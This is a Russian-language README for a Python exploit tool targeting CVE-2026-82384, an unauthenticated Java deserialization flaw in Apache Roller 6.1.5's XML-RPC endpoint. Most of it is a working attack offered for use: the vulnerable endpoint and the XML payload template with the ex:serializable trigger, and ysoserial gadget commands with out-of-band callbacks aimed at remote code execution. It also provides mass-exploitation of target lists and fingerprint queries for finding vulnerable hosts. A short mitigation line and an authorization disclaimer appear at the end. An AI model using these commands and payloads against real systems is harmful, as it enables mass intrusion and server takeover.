
Python PoC для CVE-2026-82384: обнаруживает и эксплуатирует неаутентифицированную Java-десериализацию через XML-RPC в Apache Roller 6.1.5 с помощью payload'ов ysoserial, с поддержкой массового сканирования.
PoC на Python 3 для CVE-2026-82384 — неаутентифицированная десериализация Java в устаревшем сервлете XML-RPC в Apache Roller 6.1.5.
Страница PoC: https://pocbit.org/pocs/cve-2026-82384
Apache Roller — это многопользовательский сервер блогов на Java (исторически «Roller Weblogger»). Развёртывания обычно представляют собой WAR-файлы Tomcat с интерфейсом по пути /roller-ui/ и устаревшими API Blogger / MetaWeblog поверх XML-RPC по пути /roller-services/xmlrpc. Roller 6.1.5 (сентябрь 2025) исправил несвязанную проблему с сессиями (CVE-2025-24859), но оставил стек XML-RPC в опасной конфигурации для данной CVE.
CVE-2026-82384 — это десериализация недоверенных данных (CWE-502) на эндпоинте XML-RPC:
XmlRpcServlet в Roller настроен с enabledForExtensions=true, поэтому библиотека Apache ws-xmlrpc принимает типы расширений производителя, включая ex:serializable — сериализованный объект Java в кодировке base64.web.xml, поэтому парсер всё равно запускается, даже когда администраторы отключают XML-RPC в настройках Roller (webservices.enableXmlRpc=false). Отключение функции в интерфейсе не закрывает этот путь до аутентификации в 6.1.5.Затронуто: только Apache Roller 6.1.5 (согласно рекомендации производителя).
Исправлено: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, а запросы отклоняются, когда XML-RPC отключён глобально.
| Метрика | Значение |
|---|---|
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Не требуется для примитива десериализации |
| Обнаружил | n0mi1k |
| Производитель | Apache Software Foundation |
| Элемент | Детали |
|---|---|
| Эндпоинт | POST /roller-services/xmlrpc (также попробуйте /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| Триггер | <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> внутри methodCall |
| Цепочка гаджетов | Зависит от classpath (Commons Collections и т. д.); часто генерируется с помощью ysoserial |
| Воздействие | RCE от имени пользователя ОС Tomcat/Roller; как правило, полный контроль над данными блога и возможность пивота на хост |
| Режим | Поведение |
|---|---|
check | Находит отпечатки Roller, определяет URL XML-RPC, опционально --probe-deser (отправляет пробные байты ex:serializable) |
exploit | Отправляет вашу сериализованную полезную нагрузку (файл, base64 или ysoserial через --ysoserial-jar) |
| Массовый | --list targets.txt --mode exploit -j N — параллельная обработка списка с JSONL + exploited.txt |
Поля PoCbit: pocbit, pocbit_catalog, pocbit_page в каждой строке JSONL.
CLI: цветной баннер, строки [HIT] / [EXPLOIT] / [FAIL] (отключается с помощью --no-color).
Этот репозиторий не содержит готовых цепочек гаджетов для RCE (зависят от classpath). Для реальной эксплуатации предоставьте вывод ysoserial или проверенный файл полезной нагрузки.
pip install -r requirements.txt
Для RCE (не только обнаружения):
URLDNS (out-of-band подтверждение), CommonsCollections6 (выполнение команд на типичном classpath Roller — сначала проверьте в лаборатории)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
Выходные данные:
cve_2026_82384_exploit.jsonl — JSON по каждой целиexploited.txt — цели, где полезная нагрузка была принята / отправлен OOB<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
На 6.1.5 разбор этого тела запроса может привести к десериализации до того, как какой-либо обработчик метода проверит учётные данные.
/roller-services/xmlrpc на обратном прокси / WAF (разрешите только IP-адреса администраторов).Apache Roller, /roller-ui/, портами 8080/8443.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
Подтвердите версию 6.1.5 по нижнему колонтитулу, странице «О программе» или в WEB-INF / примечаниях к выпуску, прежде чем считать её уязвимой.
Используйте только в системах, которые вы уполномочены тестировать. Эксплойты десериализации могут уничтожить данные и нарушить закон при неправомерном использовании.